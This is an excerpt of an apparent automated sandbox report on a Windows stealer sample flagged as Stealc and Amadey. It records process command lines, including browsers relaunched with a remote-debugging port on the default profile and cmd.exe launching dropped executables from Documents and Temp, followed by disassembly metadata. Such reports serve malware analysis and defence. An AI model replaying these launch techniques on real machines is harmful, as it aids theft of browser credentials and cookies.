Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2185223333.0000000004B10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2699780508.000000000064E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2700782592.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	23:46:23
Start date:	24/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	23:46:24
Start date:	24/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2232 --field-trial-handle=2172,i,7858906980099681468,10361499139629388727,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	23:46:34
Start date:	24/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	23:46:35
Start date:	24/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2536 --field-trial-handle=2340,i,18394194686308781120,9106912296226367801,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	23:46:35
Start date:	24/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	23:46:36
Start date:	24/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2744 --field-trial-handle=2032,i,9866007363658274551,316886010182620687,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	23:46:41
Start date:	24/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6452 --field-trial-handle=2032,i,9866007363658274551,316886010182620687,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	23:46:41
Start date:	24/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6700 --field-trial-handle=2032,i,9866007363658274551,316886010182620687,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	23:46:41
Start date:	24/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7096 --field-trial-handle=2032,i,9866007363658274551,316886010182620687,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	23:46:41
Start date:	24/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7096 --field-trial-handle=2032,i,9866007363658274551,316886010182620687,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	23:47:03
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIDHJEBGIEB.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	23:47:03
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	23:47:03
Start date:	24/11/2024
Path:	C:\Users\user\DocumentsIDHJEBGIEB.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsIDHJEBGIEB.exe"
Imagebase:	0xd70000
File size:	1'884'160 bytes
MD5 hash:	A6728E0D2B00CEAFE1489CB92D286323
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001A.00000003.2694072202.0000000004E50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001A.00000002.2737672229.0000000000D71000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	23:47:06
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x30000
File size:	1'884'160 bytes
MD5 hash:	A6728E0D2B00CEAFE1489CB92D286323
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001B.00000002.2777165558.0000000000031000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001B.00000003.2736424546.0000000004820000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	23:47:06
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x30000
File size:	1'884'160 bytes
MD5 hash:	A6728E0D2B00CEAFE1489CB92D286323
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001C.00000002.2776990344.0000000000031000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001C.00000003.2736458932.0000000004820000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	23:47:36
Start date:	24/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6744 --field-trial-handle=2032,i,9866007363658274551,316886010182620687,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	31
Start time:	23:48:00
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x30000
File size:	1'884'160 bytes
MD5 hash:	A6728E0D2B00CEAFE1489CB92D286323
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001F.00000002.3420689915.0000000000031000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001F.00000003.3255068328.0000000004820000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	23:48:17
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008938001\9f1158ad0a.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008938001\9f1158ad0a.exe"
Imagebase:	0xb30000
File size:	4'401'664 bytes
MD5 hash:	8CAA4EE3F7639C23AA47DF1F7F6074BD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 34%, ReversingLabs
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C9635A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C9EF688,00001000), ref: 6C9635D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9635E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C9635FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C96363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C96369F
__aulldiv.LIBCMT ref: 6C9636E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C963773
EnterCriticalSection.KERNEL32(6C9EF688), ref: 6C96377E
LeaveCriticalSection.KERNEL32(6C9EF688), ref: 6C9637BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C9637C4
EnterCriticalSection.KERNEL32(6C9EF688), ref: 6C9637CB
LeaveCriticalSection.KERNEL32(6C9EF688), ref: 6C963801
__aulldiv.LIBCMT ref: 6C963883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C963902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C963918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C96394C

Strings

GenuntelineI, xrefs: 6C963639
MOZ_TIMESTAMP_MODE, xrefs: 6C9635DB
QPC, xrefs: 6C9638FC
GTC, xrefs: 6C963912
AuthcAMDenti, xrefs: 6C963946

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: c02da193ec368c5014906d882be0f33fe7e9e9d90c326e0849f2c6f2885893f2
Instruction ID: 2c3a290a033bbbf252d2fa40c6f8ab3811b988b418c87b220ea80aa77cf8596f
Opcode Fuzzy Hash: c02da193ec368c5014906d882be0f33fe7e9e9d90c326e0849f2c6f2885893f2
Instruction Fuzzy Hash: 7BB1C471B083409BDB48DF39D84561ABBF5BFAEB04F15892EE499D7B90D770D9008B81

Function 6C97C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C97C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C97C969
GetSystemInfo.KERNEL32(?), ref: 6C97C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C97C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C97C9E2

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 809a88a11ed0d40e29a39bde6d1eff1d348848a141352a261ece0bc38ec0e83f
Instruction ID: a8d9a50efb501171aa60683ff9d3309aa07339397acbd5a4ba8b7cc4ade53ced
Opcode Fuzzy Hash: 809a88a11ed0d40e29a39bde6d1eff1d348848a141352a261ece0bc38ec0e83f
Instruction Fuzzy Hash: F121FC32746314ABDB94AA24DC84BAE7779FF9A704F60051AF903A7B40DB70DD40C7A4

Function 6C963060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C963095

Part of subcall function 6C9635A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C9EF688,00001000), ref: 6C9635D5
Part of subcall function 6C9635A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9635E0
Part of subcall function 6C9635A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C9635FD
Part of subcall function 6C9635A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C96363F
Part of subcall function 6C9635A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C96369F
Part of subcall function 6C9635A0: __aulldiv.LIBCMT ref: 6C9636E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C96309F

Part of subcall function 6C985B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C9856EE,?,00000001), ref: 6C985B85
Part of subcall function 6C985B50: EnterCriticalSection.KERNEL32(6C9EF688,?,?,?,6C9856EE,?,00000001), ref: 6C985B90
Part of subcall function 6C985B50: LeaveCriticalSection.KERNEL32(6C9EF688,?,?,?,6C9856EE,?,00000001), ref: 6C985BD8
Part of subcall function 6C985B50: GetTickCount64.KERNEL32 ref: 6C985BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C9630BE

Part of subcall function 6C9630F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C963127
Part of subcall function 6C9630F0: __aulldiv.LIBCMT ref: 6C963140

Part of subcall function 6C99AB2A: __onexit.LIBCMT ref: 6C99AB30

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: f720f1c3aa7183bd8ed24110f7c816a6ce4d709f5a57fb767e5ca9250014601a
Instruction ID: b2bdbc77596f9693897eda8bc21137a85c06c6467ddc4d83fcbced6ec53e0a56
Opcode Fuzzy Hash: f720f1c3aa7183bd8ed24110f7c816a6ce4d709f5a57fb767e5ca9250014601a
Instruction Fuzzy Hash: F3F0D612E2974CD7DB50DF34A8411AA7370AFBF618B20171BE84453551FB20A2D88382

Non-executed Functions

Function 6C975440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C975492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9754A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9754BE
__Init_thread_footer.LIBCMT ref: 6C9754DB

Part of subcall function 6C99AB3F: EnterCriticalSection.KERNEL32(6C9EE370,?,?,6C963527,6C9EF6CC,?,?,?,?,?,?,?,?,6C963284), ref: 6C99AB49
Part of subcall function 6C99AB3F: LeaveCriticalSection.KERNEL32(6C9EE370,?,6C963527,6C9EF6CC,?,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C99AB7C

Part of subcall function 6C99CBE8: GetCurrentProcess.KERNEL32(?,6C9631A7), ref: 6C99CBF1
Part of subcall function 6C99CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9631A7), ref: 6C99CBFA

GetCurrentThreadId.KERNEL32 ref: 6C9754F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C975516
GetCurrentThreadId.KERNEL32 ref: 6C97556A
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C975577
moz_xmalloc.MOZGLUE(00000070), ref: 6C975585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C975590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C9755E6
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C975606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C975616

Part of subcall function 6C99AB89: EnterCriticalSection.KERNEL32(6C9EE370,?,?,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284), ref: 6C99AB94
Part of subcall function 6C99AB89: LeaveCriticalSection.KERNEL32(6C9EE370,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C99ABD1

GetCurrentThreadId.KERNEL32 ref: 6C97563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C975646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C97567C
free.MOZGLUE(?), ref: 6C9756AE

Part of subcall function 6C985E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C985EDB
Part of subcall function 6C985E90: memset.VCRUNTIME140(6C9C7765,000000E5,55CCCCCC), ref: 6C985F27
Part of subcall function 6C985E90: LeaveCriticalSection.KERNEL32(?), ref: 6C985FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C9756E8
GetCurrentThreadId.KERNEL32 ref: 6C975707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C97570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C975729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C97574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C97576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C975796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C9757B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C9757CA

Strings

MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C9757AE
MOZ_BASE_PROFILER_HELP, xrefs: 6C975511
[I %d/%d] profiler_init, xrefs: 6C97564E
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C975D2B
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C975BBE
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C97548D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C9754A3
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C975717
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C975791
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C975D1C
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C975766
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C975B38
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C975D24
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C9756E3
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C975C56
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C9754B9
MOZ_PROFILER_STARTUP, xrefs: 6C9755E1
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C975D01
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C975724
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C975AC9
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C9757C5
GeckoMain, xrefs: 6C975554, 6C9755D5
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C97584E
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C975CF9
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C975749

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 6fb74a32d0dbd02dc79fe6bcec550e93f8d84fc893e805cd8b46b9ab8c877291
Instruction ID: 8477e72cc3cbe838dc11b2afec74290933f29c0f2f9f7f6a239dac51665badca
Opcode Fuzzy Hash: 6fb74a32d0dbd02dc79fe6bcec550e93f8d84fc893e805cd8b46b9ab8c877291
